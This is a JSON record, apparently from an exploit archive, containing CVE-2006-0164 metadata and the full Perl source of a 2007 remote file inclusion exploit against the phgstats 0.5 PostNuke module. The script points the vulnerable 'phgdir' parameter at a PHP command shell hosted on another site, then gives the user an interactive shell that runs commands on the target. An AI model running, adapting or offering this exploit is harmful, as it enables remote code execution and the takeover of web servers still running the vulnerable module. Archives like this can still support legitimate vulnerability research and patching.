{"exploit":{"id":"EDB-3454","name":"PostNuke Module phgstats 0.5 - 'phgdir' Remote File Inclusion (RFI)","description":"PostNuke Module phgstats 0.5 - 'phgdir' Remote File Inclusion (RFI)","cves":["CVE-2006-0164"],"author":"bd0rk","published":"2007-03-11","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3454","path":"exploits/php/webapps/3454.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3454.pl","vulnerabilities":[{"id":"CVE-2006-0164","state":"PUBLISHED","title":null,"titleSource":null,"description":"phgstats.inc.php in phgstats before 0.5.1, if register_globals is enabled, allows remote attackers to include arbitrary files and execute arbitrary PHP code by modifying the PHGDIR variable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0164","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0164"},"updatedAt":"2024-08-07T16:25:33.558Z","retrievedAt":"2026-11-26T17:08:51.077Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3454.png?v=2","url":"https://exploitbin.com/exploits/EDB-3454","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3454/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3454/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit\n#\n#Vendor: http://kent.dl.sourceforge.net/sourceforge/phgstats/phgstats_0.5.zip\n#\n#Vulnerable Code: include_once($phgdir . 'settings/config.inc.php');\n#\n#Coded by bd0rk || SOH-Crew\n#\n#Usage: expl.pl [target] [cmd shell] [shell variable]\n#\n#Greetings: str0ke, TheJT, MereX, drummonster(laptop)\n#\n# Fixtip: Declare $phgdir or use hacking attempt\n#\n\nuse LWP::UserAgent;\n\n$Path = $ARGV[0];\n$Pathtocmd = $ARGV[1];\n$cmdv = $ARGV[2];\n\nif($Path!~/http:\\/\\// || $Pathtocmd!~/http:\\/\\// || !$cmdv){usage()}\n\nhead();\n\nwhile()\n{\n       print \"[shell] \\$\";\nwhile(<STDIN>)\n       {\n               $cmd=$_;\n               chomp($cmd);\n\n$xpl = LWP::UserAgent->new() or die;\n$req = HTTP::Request->new(GET =>$Path.'main/phgstats.inc.php?phgdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die \"\\nCould Not connect\\n\";\n\n$res = $xpl->request($req);\n$return = $res->content;\n$return =~ tr/[\\n]/[....]/;\n\nif (!$cmd) {print \"\\nPlease Enter a Command\\n\\n\"; $return =\"\";}\n\nelsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)\n       {print \"\\nCould Not Connect to cmd Host or Invalid Command Variable\\n\";exit}\nelsif ($return =~/^<br.\\/>.<b>Fatal.error/) {print \"\\nInvalid Command or No Return\\n\\n\"}\n\nif($return =~ /(.*)/)\n\n\n{\n       $finreturn = $1;\n       $finreturn=~ tr/[....]/[\\n]/;\n       print \"\\r\\n$finreturn\\n\\r\";\n       last;\n}\n\nelse {print \"[shell] \\$\";}}}last;\n\nsub head()\n {\n print \"\\n============================================================================\\r\\n\";\n print \" *PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit*\\r\\n\";\n print \"============================================================================\\r\\n\";\n }\nsub usage()\n {\n head();\n print \" Usage: expl.pl [target] [cmd shell location] [cmd shell variable]\\r\\n\\n\";\n print \" <Site> - Full path to phgstats ex: http://www.site.com/ \\r\\n\";\n print \" <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \\r\\n\";\n print \" <cmd variable> - Command variable used in php shell \\r\\n\";\n print \"============================================================================\\r\\n\";\n print \"                           Bug Found by bd0rk \\r\\n\";\n print \"                           www.soh-crew.it.tt \\r\\n\";\n print \"============================================================================\\r\\n\";\n exit();\n }\n\n# milw0rm.com [2007-03-11]","sha256":"6ab6d806868dc69ab7de53f14073d9501b823a72438e493a63b426dba6050bea","bytes":2436,"fetchedAt":"2026-11-26T17:08:46.134Z","encoding":"utf-8 (display only; download retains original bytes)"}